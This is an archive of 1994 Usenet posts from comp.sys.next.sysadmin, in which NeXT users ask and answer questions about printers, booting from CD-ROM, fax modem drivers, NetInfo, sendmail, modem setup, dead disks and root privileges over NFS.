References: <2u48jm$n18@gate.fzi.de>
In article <2u48jm$n18@gate.fzi.de> Uwe Hoffmann writes:
> Until yesterday everything printed fine (and this for
> years, with every version of the OS).
> I haven't changed anything but now when printing it cuts
> off one tenth of the upper side of the page (A4 format).
I think I had this problem once on a NeXT b&w printer. There is a setting
on the paper tray or on the printer itself that could have been bumped.
--Brian
Newsgroups: comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: Re: Black Hardware Hell
Message-ID: <CrqBDn.Kt@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2tp1tp$rj2@hpsystem1.informatik.tu-muenchen.de>
Date: Tue, 21 Jun 1994 04:05:46 GMT
In article <2tp1tp$rj2@hpsystem1.informatik.tu-muenchen.de>
meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl) writes:
#
#>In article <2tn0kr$j5@brachio.zrz.TU-Berlin.DE> rene@prz.tu-berlin.de (Rene'
#>Kulschewski) writes:
#>#Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
#>#
#>#: It's not clear from these posts, but are you using turbo
#>#: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
#>#: from CDROM. That's why they give you a floppy with the CD when
#>#: you upgrade. Perhaps irrelevant, but just in case.
#>#
#>#That's incorrect. Newer (i don't know the exact age) can boot from CD-ROM,
#>#including mine ... :-)
#>#
#>#Rene'
#>
#>This is not a hardware problem. Any black NeXT will boot from CD-ROM with OS
#>3.0 or higher. NeXT computer running 2.X will need the floppy-disk for
#>upgrading.
#>
#>so long
#> *** perstoro ***
#
#This is not true. Older NeXT computers (like my NeXTstation color) don't
#know how to boot from a CD-ROM, because the system bios does not support this.
#They DO know, however, how to boot from a diskette or an optical disk.
#NeXT ships a bootable diskette with their USER CD-ROM which just bootstraps
#the loader for the CD-ROM, so you can boot FD/CD-ROM. If you transfer its
#bootblock to an OD, you can even boot from OD/CD-ROM, in case you own an old
#68030 cube.
My *VERY EARLY* '040 cube will boot from the CD.
Kent
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From: SEINS@fox.nstn.ns.ca (SEINS )
Newsgroups: comp.sys.next.sysadmin
Subject: .gz Files
Date: 22 Jun 1994 23:20:48 -0300
Organization: Nova Scotia Technology Network
Sender: news@nstn.ns.ca
Message-ID: <SEINS.1.772338041@fox.nstn.ns.ca>
Please forgive this undoubtably silly question, but could someone please
tell me how to uncompress / archive a .gz file?
I know about the standard .tar.Z files, but I have no way of uncompressing
these .gz files which I have noticed on most of the FTP sites. HELP!
Newsgroups: comp.sys.next.sysadmin
From: tini@gurke.ping.de (Constantin Szallies)
Subject: QUESTION: Trouble with hostconfig <-> file service daemons
Message-ID: <CrtDyI.FL@gurke.ping.de>
Sender: tini@gurke.ping.de (Constantin)
Organization: Legalize THC
Date: Wed, 22 Jun 1994 19:54:17 GMT
I'm using a NS3.2/Intel stand-alone machine with a modem.
Yesterday I changed my /etc/hostconfig.
HOSTNAME=gurke
INETADDR=-AUTOMATIC- <--- I CHANGED THAT HERE
ROUTER=-NO-
IPNETMASK=
IPBROADCAST=-AUTOMATIC-
NETMASTER=-NO-
YPDOMAIN=-NO-
TIME=-AUTOMATIC-
I changed the entry INETADRR from -AUTOMATIC- to my Internetadress.
I did that with HostConfig.app. But when the reboot prozess comes to
"Starting file service daemons:", the reboot stops (forever?).
Any surgestions that could be wrong with my configuration?????
I did this, because I want to install Slip (PNI 1.9). BTW when I
installed PNI, PNI didn't ask me if "Make Non-NetInfo Network".
I observed the following: I tried to start PNI, but it fail due to
an error in one of my Tcl script. Then I observed that every App, that
accsessed the harddisc, just showed the spinning cursor!!!!!!!
I guess this problem is related to the above?
I hope someone can help me with these problems!
Greeting
Constantin Szallies, Germany
tini@gurke.ping.de
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: FaxDriver for Zyxel ?
Message-ID: <Crtz1M.LKy@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2tq74d$2112@info2.rus.uni-stuttgart.de> <CrqBGw.LK@infoserv.com>
Distribution: na
Date: Thu, 23 Jun 1994 03:29:45 GMT
kent@infoserv.com wrote:
: In article <2tq74d$2112@info2.rus.uni-stuttgart.de>
: stef@rs1.Theo-Phys.Uni-Essen.DE (Stefan Ried) writes:
: #
: #Commercial products like NXFax are shipped with their own driver.
: #I'm wondering why Next does not include a driver for this most
: #common kind of modem in the PC-World ?
: #
: #stef
: Stupidity.
: NeXT claims Fax support out of the box but no modems
: work.
NeXT provides the _Framework_ for FAX, including FaxReader.app and its
file structure for received FAX storage and assignment, PrintManager
support for queueing of FAXes outgoing, FAX Panel for all applications to
'print' to FAX, Draw support for automatic customizable cover sheets, and
FAX number database integrated with WorkSpace '.addresses' files.
NeXT has done eveything except the actual driver for the FAX/Modem. This
is understandable, since every FAX/Modem is different, and they would
have to write all sorts of drivers. I agree that there should be drivers
for at least a few big-name FAX/Modems, however (ZyXEL, USRobotics, ???).
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin
From: mgoedel@muaddib.isar.muc.de (Maximilian Goedel)
Subject: Re: disktab for Hitachi 516c-16, anyone?
Message-ID: <Cru3yH.ED@muaddib.isar.de>
Sender: mgoedel@muaddib.isar.de (Maximilian Goedel)
Organization: Michael Maximilian Goedel
References: <940622094437.13940AACUG.malc@jeeves>
Date: Thu, 23 Jun 1994 05:15:52 GMT
In article <940622094437.13940AACUG.malc@jeeves> "mmalcolm Crawford"
<malc@dcs.shef.ac.uk> writes:
| The disk on our four-year old Cube has died... :-(
|
| The good news is we have a "hot spare" which we can replace it with.
| The bad news is that the spare's formatted with a 512k blocksize.
|
| Does anybody have a disktab for a Hitachi 516c-16...?! :-)
|
| Have fun,
|
| mmalcolm.
Hi malcolm,
I had this drive before, works fine with NeXTSTEP, if it is the only
scsi-device you use. If you want to connect a cdrom or additional harddisk,
i had timeout nearly every 3 minutes.
Never buy a HITACHI again :-( :-(
--
Michael Maximilian Goedel email_____________________________
Gerhardstrasse 33 NeXT: mgoedel@muaddib.isar.muc.de
81543 Muenchen - GERMANY LINUX: max@funman.boss.sub.org
Phone +49-89-652918 SGI: f11cs1@rz.unibw-muenchen.de
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From: kent@infoserv.com
Subject: Re: FaxDriver for Zyxel ?
Message-ID: <CrqBGw.LK@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
References: <2tq74d$2112@info2.rus.uni-stuttgart.de>
Distribution: na
Date: Tue, 21 Jun 1994 04:07:43 GMT
In article <2tq74d$2112@info2.rus.uni-stuttgart.de>
stef@rs1.Theo-Phys.Uni-Essen.DE (Stefan Ried) writes:
#
#I want to use the Fax-software coming with NS 3.2 for Intel.
#Is there a driver for standard fax-modem like ZyXEL anywhere ?
#
#Commercial products like NXFax are shipped with their own driver.
#I'm wondering why Next does not include a driver for this most
#common kind of modem in the PC-World ?
#
#stef
Stupidity.
NeXT claims Fax support out of the box but no modems
work.
Kent
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From: tms@cfc.com (Todd M. Swan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXTMail - SunMail
Date: 22 Jun 1994 17:33:26 GMT
Organization: Chrysler Financial, MIS, Center Line, MI
Message-ID: <TMS.94Jun22133326@litespeed.cfc.com>
References: <2u7ajr$6eg@finzi.ccinet.ab.ca>
In-reply-to: grh@ccinet.ab.ca's message of 21 Jun 1994 18:13:15 GMT
In article <2u7ajr$6eg@finzi.ccinet.ab.ca>, grh@ccinet.ab.ca writes:
>We are using the NeXT as our mailserver and tying in our Sun servers
>by exporting to the Sun. The problem we are having is Sun root cannot
>write to the mounted NeXT directory even though the Sun server is listed
>in .rhosts.
.rhosts has nothing to do with NFS. Make sure you are exporting the
directory with root access for the Sun's. Use
/NextAdmin/NFSManager.app.
Todd
--
_____ __ __ ____ Todd M. Swan - Chrysler Financial, Center Line, MI
|_ _| \/ | ___| tms@cfc.com (NeXTmail)
| | | |__ | The flame at the heart of a pawnbroker's diamond
|_| |_|\/|_|____| is a cold fire. - Rush
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo between different subnets
Date: 5 Jul 1994 21:13:27 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2vcidn$9jm@rosie.next.com>
References: <2v9n65$l2g@nntp2.Stanford.EDU>
Todd Takken writes
>[...] During the client's boot process, I
> still get error messages saying "Could not connect to netinfo domain
> server". I have unchecked the boxes on both server and client that say
> "limit ability to read administrative data to local network" and have
> rebooted both machines after unchecking these boxes.
Is that the exact text of the error message? You should be able to find
the error message in the file /usr/adm/messages.
Double-check the local-domain entry for your server. Make sure the
"ip_address" property is right, and that the "serves" property looks like:
serves ../network
Also make sure that you've got routing enabled. There should be a line in
/etc/hostconfig like:
ROUTER=-ROUTED-
or, if you're using a default router:
ROUTER=129.18.2.100
using the real address of the router.
David Lemson mentioned the trusted_networks property. I don't think
that's causing any problems. When someone has a client on a subnet that is
*not* included in the list of trusted networks, you'll get an RPC error on
the client like:
Connection closed by foreign host
--
Marc Majka
From: takken@leland.stanford.edu (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Does netinfo server get broadcast? (netinfo between different subnets)
Date: 5 Jul 1994 21:40:44 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2vck0s$40g@nntp2.Stanford.EDU>
References: <2v9oe6$bad@vixen.cso.uiuc.edu>
I am still unable to get my client machine to bind to my server's netinfo
database. Here is what I have tried:
1) I have added the name and address of the server (with the serves
./network property) to the client's /machines netinfo directory. This
way, the client ought to broadcast not only to the local subnet but also
to the subnet where the server is located.
2) I have changed the trusted_networks property on both client and server
so that they each trust each other's subnet. This way, the server should
respond to the client's netinfo bind request. I made sure not to put a
period at the end of the subnet address.
3) I have a host entry in the server's network netinfo domain which
specifies the ip address, name and ethernet address of the client. The
ethernet address is entered correctly.
Here is what I would like to find out:
1) Is there any way to tell whether the server has received the client's
netinfo bind request? As it is, I just get the boot message "No response
from network configuration server." I have no way of telling whether the
server never received the client's broadcast or whether the server
received the broadcast but did not respond.
Many thanks to the suggestions so far from David Lemson, Mark Majka and
Serge Goldstein.
-- Todd Takken
takken@leland.stanford.edu
From: vwaldon@mercury.uah.ualberta.ca (Vince Waldon)
Newsgroups: comp.sys.next.sysadmin
Subject: want palmtop to keep track of Internet info
Date: 5 Jul 1994 22:55:19 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2vcocn$9lh@quartz.ucs.ualberta.ca>
I'm lost when it comes to all the various palmtops/organizers out there,
and I'd like to find one for a very specific need: to let me organize
Internet address'/ftp sites/WWW pages, etc.
I can't use my PC for this database 'cause its already in use talking to
the Internet, so I'd like a palmtop/organizer where I could enter in a
address and then some keywords for search purposes. For example, I'd
like to enter in:
http://www.wimsey.com/pub/adams/comix with keywords "COMICS" and
"DILBERT"
I find I'm always saying "Now, which ftp site did I see that on".
I'd rather not buy a full-fleged PC like the HP 95X and its kin...
Any suggestions ????
--
: Vince Waldon "If you stay married for a
: vwaldon@mercury.uah.ualberta.ca million years, does your
: University of Alberta Hospitals wedding album go platinum?"
: Edmonton, Alberta, CANADA S.Wright
From: annard@wft.stack.urc.tue.nl (Annard Brouwer)
Newsgroups: comp.sys.next.sysadmin,comp.lang.postscript
Subject: PPD file for HP DesignJet 650C
Followup-To: comp.sys.next.sysadmin
Date: 5 Jul 1994 23:19:22 +0200
Organization: Eindhoven University of Technology, the Netherlands
Distribution: world
Message-ID: <2vcioq$md@theborg.wft.stack.urc.tue.nl>
Keywords: ppd, plotter, error, NEXTSTEP
Hello,
I have found a PPD-file for the HP DesignJet 650C, however when I try to print
something on my NEXTSTEP machine, it seems that the Print panel software that
takes care of the buttons and stuff to support the capabilities of the plotter
gets an error "Error reading PPD file".
Does anybody out there have one that works? Or can someone give me a clue to
how to find where the problem is?
Thanks,
Annard
--
Give me enough bandwidth and I can transmit the earth.
- Annard Brouwer
annard@stack.urc.tue.nl (NeXTmail appreciated)
PGP Public Key available on request
From: aies6@rosie.uh.edu (Luong, Jessica)
Newsgroups: comp.sys.next.sysadmin
Subject: HP LaserJet 4Si MX
Date: 5 Jul 1994 18:33 CDT
Organization: University of Houston
Distribution: world
Message-ID: <5JUL199418332834@rosie.uh.edu>
Keywords: printers
News-Software: VAX/VMS VNEWS 1.41
HELP.
I recently accepted a position managing a network of NEXTSTATIONS.
One of my first duty is to get another printer for the office.
I decided on a Hewlett-Packard LaserJet 4Si MX.
However, I am having a lot of problem trying to integrate this printer into
the NEXT network.
Anybody out there who has this printer and was sucessfull in installing it
in their NEXT network?
Newsgroups: comp.sys.next.sysadmin
From: bnh@active (Brian Hess)
Subject: Re: HELP: "You don't exist. Go away."
Message-ID: <1994Jul5.224354.3417@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <1994Jun30.040243.12530@nntpxfer.psi.com> <1994Jul4.055731.238@hot.com>
Date: Tue, 5 Jul 1994 22:43:54 GMT
Robert La Ferla (Robert_La_Ferla@hot.com) wrote:
: BTW - Applications written using Hot Technologies' SerialPortKit don't
: require "setuid root". It is potentially a security hole especially
: now with Distributed Objects APIs. Write to info@hot.com for more
If pty/tty access without being root is the problem, sure. But does
SerialPortKit hack the utmp & wtmp files for you automagically too?
If so, presumably your SerialPortServer has to setuid to root itself,
and the problem is just "moved down a layer".
Or did you come with a neat alternative solution?
Brian Hess
Active Ingredients, Inc.
bnh@active.com
Newsgroups: comp.sys.next.sysadmin
From: bnh@active (Brian Hess)
Subject: Re: HELP: "You don't exist. Go away."
Message-ID: <1994Jul6.000227.4545@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <1994Jun30.040243.12530@nntpxfer.psi.com> <1994Jul4.055731.238@hot.com> <1994Jul5.224354.3417@nntpxfer.psi.com>
Date: Wed, 6 Jul 1994 00:02:27 GMT
: ploeger@aplki.toppoint.de (Andreas Ploeger) writes:
: >I had that problem more than a year ago. According to my notes the read
: >permissions for /etc/ttys were wrong. Now they look like this:
: > -rw-rw-r-- 1 ploeger wheel 2967 Aug 20 1993 /etc/ttys
I believe this has no bearing on the problem. Permissions for /etc/ttys
*should* look like:
-rw-r--r-- 1 root wheel 2917 Sep 6 1993 /etc/ttys
(I.e., everybody should be able to see the configuration, but only
root should be able to modify it.) Regardless, the permissions on the
/etc/ttys file have nothing to do with the actual use of /dev/ttyxx or
/dev/ptyxx.
Just for fun, I checked out the Berkeley sources for "talk" on
ftp.uu.net, and they appear to have been changed (1991) -- the new
code, if it finds no entry for you in the /etc/utmp file (i.e.,
getlogin()==NULL) now checks additionally for a passwd entry
for you (i.e., getpwuid(getuid())!=NULL) before giving up and telling
you to go away. So tar and feathers will no longer be necessary for
the poor author of "talk".
Brian Hess
Active Ingredients, Inc.
bnh@active.com
Newsgroups: comp.sys.next.sysadmin
From: bnh@active (Brian Hess)
Subject: Re: Dial-In setup? help!!!
Message-ID: <1994Jul6.003642.5098@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <2vb61o$p4u@kaiwan.kaiwan.com>
Date: Wed, 6 Jul 1994 00:36:42 GMT
LCC (chi@kaiwan.com) wrote:
: the modem still would not answer the call. ... ... ...
Modem won't answer. Basic why-not steps:
Step 1: Is the "TR" or "DTR" light on?
YES: go to Step 2.
NO: 1a) Make sure your new configuration in /etc/ttys is read by the
login process. As root, do "kill -1 1" or reboot your system. 1b)
Make sure your cable is wired properly. 1c) Try using "tip cub9600"
or some similar incantation to talk to the modem, and send it this
sequence:
AT&C1&D3
AT&W
This tells it to turn on and off the Carrier-Detect signal to the CPU
and to pay attention to the Data-Terminal-Ready signal from the CPU,
then tells it to save its configuration. Exit tip and see if the
light goes off, then comes on. If so, proceed to Step 2. If not,
time to re-check your software configuration.
Step 2: Is the "AA" or "ANS" light on?
YES: Go to Step 3.
NO: Use "tip cub9600" or some similar incantation to send this to the modem:
ATS0=1
AT&W
That should turn on the light. If so, exit tip, and try dialing the
modem number. It should ring once and then answer. If so, you're all done!
If not, proceed to Step 3.
Step 3: Run in circles, scream and shout. Curse me, then ask someone
else for help. (With those two lights on, the modem is *supposed* to
answer the phone when you dial it. Period. Regardless of what your
Unix configuration looks like, or whether or not you can actually
*talk* to the Unix behind .)
Hope this helps,
Brian Hess
Active Ingredients, Inc.
bnh@active.com
Newsgroups: comp.sys.next.sysadmin
From: jdyer@eng.mc.xerox.com (John D Dyer)
Subject: Internal HD dead. What now?
Message-ID: <1994Jul5.124408.21355@news.wrc.xerox.com>
Keywords: Hard Drive Dead Boot
Sender: news@news.wrc.xerox.com
Organization: Xerox Corporation
Date: Tue, 5 Jul 1994 12:44:08 GMT
Gang,
Looks like my internal (boot) hard drive has died. Upon booting,
I just get "SCSI ERROR" in the picture window that shows up when
going through bootup. This is black hardware BTW.
Thinking I could maybe reinstall Nextstep and then restore from tape,
I booted from floppy/CDROM according the the "Start from scratch"
instructions in the 3.2 installation guide. I get the following
messages:
> Next ROM Monitor 2.2 (v63)
> NeXT> bfd
> Searching for CD-ROM drives
> blk0 boot: cd(1,0,0)
> Kernel flag root dev="sd1a"
> NeXT ROM Monitor 2.2 v63
> NeXT Mach 3.2: Mon Oct 18 21:57:41 PDT 1993; root(rcbuilder:mk-149.30.15.obj-2 \
> /RC_m68k/RELEASE_M68K
> FPU Version 0x40
> Physical Memory=20.00 megabytes
> Available Memory=17.92 megabytes
> Using 126 buffers contain 0.98 megabytes of memory
> fc0 at 0x2114100
> Sony MPX111N as fd0 at fc0 slave 0
> Disk Label: Install-3.2
> Disk Capacity 1440 KB, Device Block 512 bytes
> SCSI 53C90A Controller, Target 7 as SC0 at 2114000
> sd0(1,0) ERROR op:0x1b sd_state: 7 SCSI status 0x0
> sd0(1,0) ERROR op:0x0 sd_state: 7 SCSI status 0x0
> sd0(1,0) ERROR op:0x1b sd_state: 7 SCSI status 0x0
> sd0(1,0) ERROR op:0x0 sd_state: 7 SCSI status 0x0
> sd0(1,0) ERROR op:0x1b sd_state: 7 SCSI status 0x0
> sd0(1,0) ERROR op:0x0 sd_state: 7 SCSI status 0x0
> ERROR: Can't read device capacity
> DISK UNFORMATTED
This looks like my internal SCSI disk is hosed. The question is,
"What do I do next?" Is there a way to boot CD-ROM and reformat
the internal drive (or was the above an attempt)? I've looked in
the SysAdmin book (gold, 3.0?) but it wasn't any help. I've been
a sysadmin for Sun Workstations but haven't really gotten the chance
to play sysadmin for my Next much (thank goodness).
All help appreciated
John D. Dyer
jdyer@eng.mc.xerox.com
From: starksm@genesis.mcs.com (Scott M. Stark)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: XPS installation problems
Date: 6 Jul 1994 04:41:13 GMT
Organization: MCSNet Services
Distribution: world
Message-ID: <2vdcla$e9c@News1.mcs.com>
Keywords: DELL, XPS
Hi,
I am unable to get NEXTSTEP installed on our DELL XPS 90 system.
I make it to the installation from CD to hard drive step. If
I try to erase the entire 1032Mb drive, the installation simply
fails with a DISK INTIALIZATION failure and then reboots.
I tried creating a 1000Mb, and then a 900Mb NEXTSTEP parition
and used that as the installation target. This gets to the
progress strip, but fails every time with the following panic:
/private/tmp/mnta: bad dir ino 12288 at offset 0: mangled entry mode =
010170, inum = 12291, fs = /private/tmp/mnta
kernel panic (6,3,1)
This system has an Adaptec 1542CF SCSI controller, NEC double speed
CD, and Western Digital IDE 1gig hard drive.
Any suggestions?
Thanks,
Scott
--
Scott Stark
Stark International Software
4950 N. Marine Dr.
#102
Chicago, IL 60640
starksm@genesis.mcs.com (NeXT mail accepted)
Newsgroups: comp.sys.next.sysadmin
From: ramirez.Princeton.EDU!penrose (Christopher Penrose)
Subject: SENDMAIL permission problems
Message-ID: <1994Jul6.005508.15965@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Wed, 6 Jul 1994 00:55:08 GMT
I am trying to add a simple message base to our NeXT network here
using the UNIX program: msgs. The msgs man page indicates that adding
an entry such as:
msgs: "| /usr/ucb/msgs -s"
Will start up such a message base. I built a directory /usr/msgs
which is readable by everyone and ran msgs -c to set up the directory:
drwxrwxrwx 2 root 1024 Jul 5 17:36 ./
drwxr-xr-x 19 root 1024 Jul 5 16:34 ../
-rw-rw-rw- 1 root 4 Jul 5 17:36 bounds
However, when I try to add a message:
---
grasshopper> mail -v msgs
msgs... aliased to "|/usr/ucb/msgs -s"
"|/usr/ucb/msgs -s"... Connecting to (prog)...
sh: msgs not available for sendmail programs
"|/usr/ucb/msgs -s"... 554 Service unavailable
penrose... Connecting to (local)...
penrose... Sent
---
I get a strange error:
sh: msgs not available for sendmail programs
I haven't been able to figure out how sendmail determines what
programs are available as services.
Any help would be greatly appreciated.
Christopher Penrose
penrose@wendy.ucsd.edu
penrose@silvertone.princeton.edu
From: Roland Telfeyan <roland@gomidas.mi.org>
Newsgroups: comp.sys.next.sysadmin
Subject: Foreign personal images in Mail
Date: 6 Jul 1994 13:22:07 GMT
Organization: University of Michigan EECS Dept.
Distribution: world
Message-ID: <2veb5v$fg1@zip.eecs.umich.edu>
What's the trick to getting foreign email addresses to show tiffs in
Mail? I tried placing
person@place.domain.tiff
person.place.domain.tiff
in /LocalLibrary/Images/People, but it doesn't work. If I remember
right, it used to work like so in prior releases of NEXTSTEP.
Thanks,
Roland
From: trey@hsv.tybrin.com (Trey McClendon)
Newsgroups: comp.sys.next.sysadmin
Subject: SUMMARY: Need help with NeXT mono monitor
Date: 6 Jul 1994 09:29:44 -0500
Organization: UTexas Mail-to-News Gateway
Sender: nobody@cs.utexas.edu
Message-ID: <9407061427.AA01284@hsv.tybrin.com>
The problem with the monitor (described below) turned out to a loose
connection, as a few who responded guessed. I took it apart myself to a degree,
but got hesitant about the voltages, etc. So I took it to a Mac service
department and had them take it completely apart and put it back together.
After that it worked fine. Total cost was $65, which I consider a small fee to
have a working monitor back. They also cleaned the monitor and the slab as
well.
Thanks to all who responded (in order of response):
Charles William Swiger
Peter Nitezki
Brad Sime
Kurt Werle
Herbert Leong
Trey
---
Trey McClendon NeXTMail Accepted TYBRIN Corporation
trey@hsv.tybrin.com Fax: 205-837-3472 Voice: 205-837-2027
Original message follows:
I have a NeXT monochrome monitor here made in February 1991 that has died. It
died slowly over a one month time frame and finally kicked the bucket
yesterday. Here are the symptoms:
- sometimes it would not display upon power on. A shutdown and subsequent
power on would do the trick. The monitor would behave normally from that point
on.
- Yesterday we had a brief power outage. After we regained utility power the
monitor would not come on at all, even after several re-applications of the
power. A couple of light taps on the size of the case brought back the
picture. It came back in this way: it started as a short but full width image
with a jaggy top and bottom and expanded with 'well placed' taps to fill the
screen.
- On the second outage of the day, the monitor would not come on again.
Note: upon power on I still hear the 'charging / loading of static ' sound from
the monitor that is normally heard but there is no image. I tested the monitor
on another slab and it still does not work. A working monitor from the other
slab was put on my machine and it works, so the problem is in the monitor for
sure.
Does anyone have any idea what could have happened to this monitor? Is there
a repair manual available?
Thanks for any help.
Trey
From: frank@spock.physik.uni-konstanz.de (Frank Burgbacher)
Newsgroups: comp.sys.next.sysadmin
Subject: Urgent: NSI 3.2 does not boot, why?
Date: 6 Jul 1994 14:41:15 GMT
Organization: University of Constance
Distribution: world
Message-ID: <2vefqc$7e8@hermes.uni-konstanz.de>
Keywords: NSI boot urgent
Hello
What is wrong with my computer (Intel Pentium,PCI,DPT202 ?).
He boots until the message
rootdev 600, howto 0
And then we get
boot_rc
boot_rc
boot_rc
.
.
.
The filesystem on the boot disk sd1a is in a clean state, we checked it on
another computer, but perhaps some files are missing. Any hints?
Sorry, I cannot give any further information at the moment, I am looking for
more.
Frank
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: Changing groups
Message-ID: <CsIxLJ.8Dr@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2vc3ck$i13@news.iastate.edu>
Date: Wed, 6 Jul 1994 14:58:30 GMT
Rod Ragner (rragner@stingray.vm.iastate.edu) wrote:
: Another question that I have is: "Is the root of every NeXT machine on
: the network a super-user for the entire network?" We have about 30 NeXT
: machines. My machine is not the NetInfo Server, but when I log in as the
: root, I have full access to the administrative functions and can change
: user accounts etc. Could any of the people sitting at any other machine
: do the same with the root account of any machine other than mine? Should
: I keep the password of the root account of every machine a secret and
: known only to me and my supervisor?
root passwords should always be secret, and only given out to those users
that have a specific need for root access (most users do not).
The root on any machine has the ability to change the local and network
domains of the NetInfo database (i.e. change users, aliases...).
The root on any given machine only has "root" access the the local
filesystems on it's machine. root has only limited access (less than
even most regular users) on remote filesystems over NFS. (This would
explain why your chgrp would not work)
The exception to this is if an NFS filesystem is exported with "root"
privileges to the machine where you are root. (this is specified in a
list when exporting a filesystem in NFSManager) I use this to do
file administration from my machine across my network, even though all
the NFS mounts originate on other machines. "root" access over NFS must
be allocated on a machine-per-machine basis.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: owrede@khm.uni-koeln.de
Newsgroups: comp.sys.next.sysadmin
Subject: Other screen saver for loginwindow?
Date: 6 Jul 1994 15:47:25 GMT
Organization: Regional Computing Center, University of Cologne
Message-ID: <2vejmdINN1gaf@rs1.rrz.Uni-Koeln.DE>
Keywords: screen saver loginwindow
Hello,
is it possible to get another screen saver into the loginwindow? I would
prefer to a a black-screen instead of the flipping next logo.
Oliver
Newsgroups: comp.sys.next.sysadmin
From: hans@tms-gmbh.de(Hans Stoeger)
Subject: Re: PPD file for HP DesignJet 650C
Message-ID: <CsIEp1.Fz@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2vcioq$md@theborg.wft.stack.urc.tue.nl>
Date: Wed, 6 Jul 1994 08:10:11 GMT
In article <2vcioq$md@theborg.wft.stack.urc.tue.nl>
annard@wft.stack.urc.tue.nl (Annard Brouwer) writes:
> Hello,
>
> I have found a PPD-file for the HP DesignJet 650C, however when I try
to print
..
> how to find where the problem is?
>
> Thanks,
> Annard
I guess your PPD is from a MAC, you have to find a converter for the
different Lineendings...
or get a PPD from a Windows disk, which should work without conversion
or ftp them from ADOBE...
hope it helps
Hans
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.marketplace
Subject: Re: WANTED: NeXT mouse (black) or part (switch).
Date: 4 Jul 94 11:09:04 GMT
Organization: IGD Darmstadt
Message-ID: <neuss.773320144@budlight>
References: <2uvibq$hg6@alf.uib.no> <2v3tg2$5o8@vixen.cso.uiuc.edu>
beaucham@uxh.cso.uiuc.edu (James Beauchamp) writes:
>edmtl@alf.uib.no (Thor Legvold) writes:
>>My original NeXT mouse just died (and I noticed how it is just about
>>_impossible_ to use a NeXT without a mouse...shorting the switch
>>manually everytime I needed a 'click') and I need either:
>>
>How long does a mouse switch last? My left one lasted about three years and
>recently went out. I took the mouse apart and swapped the two switches in
>hopes that it will last another 3 years.
These switches are really easy to get, even here in germany. Check out
stores with electronic parts. And they're cheap, too.
Chris
--
"I ride a tandem with the random.."
Christian Neuss # Fraunhofer Institute for Computer Graphics
Wilhelminenstr.7 # 64283 Darmstadt # Germany
e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
From: "Wesley C. Smith" <wes@arissoft.com>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: FaxDriver for Zyxel ?
Date: Tue, 5 Jul 1994 00:19:22 GMT
Organization: Real/Time Communications - Bob Gustwick and Associates
Distribution: na
Message-ID: <940704191922.6034AAABE.wes@arissoft>
References: <2tq74d$2112@info2.rus.uni-stuttgart.de> <CrqBGw.LK@infoserv.com> <Crtz1M.LKy@cunews.carleton.ca> <2utrq3$6hj@nnrp.ucs.ubc.ca> <CsC6Mu.L7y@cunews.carleton.ca>
Mime-Version: 1.0 (Generated by Eloquent)
Content-Type: text/plain; charset=US-ASCII
>What? Don't even suggest that NeXT would do something to screw a
>third-party developer. NEVER. They would NEVER do such a thing. Honest.
>Trust me. Really. ;-)
Trust me, NeXT can and does screw developers! :-(
Wes Smith
wes@arissoft.com MIME and NeXTmail ok
Gun control: it's not about guns, it's about control.
From: danno@maui.com (Dan Bigelow)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q]:How to format a bootable floppy w/ PLI 2.88m external drive
Date: 4 Jul 1994 23:45:27 GMT
Organization: Maui Research and Technology Center (MRTC)
Message-ID: <2va6un$obp@lawelawe-f0.mrtc.maui.com>
Question :
I've got an old BLACK 030 cube with an external PLI 2.88M SCSI
drive that I would like to use to create a 'CD-ROM smart' bootable
floppy in case my internal HD goes and I need to 'boot' from
my CD-ROMS and rebuild...
The 'BootFloppy' packages I've tried need the int floppy (/dev/rfd0a),
and doesn't like the PLI drive (/dev/rsd1a) - some 'front porch'
error while formatting.
I'd like to know :
a)
what the correct
'disk -i ??? /dev/rsd2a'
type command it will take to get the floppy loaded
with the '/usr/standalone/boot.cdrom' bootstrap image,
(i think that was the file name...)
b)
the boot command from the Boot Monitor (like) :
'b sd(?,?,?)sdmach rootdev=my-cd-rom-dev'
needed to query the floppy first and get the CD-ROM smart
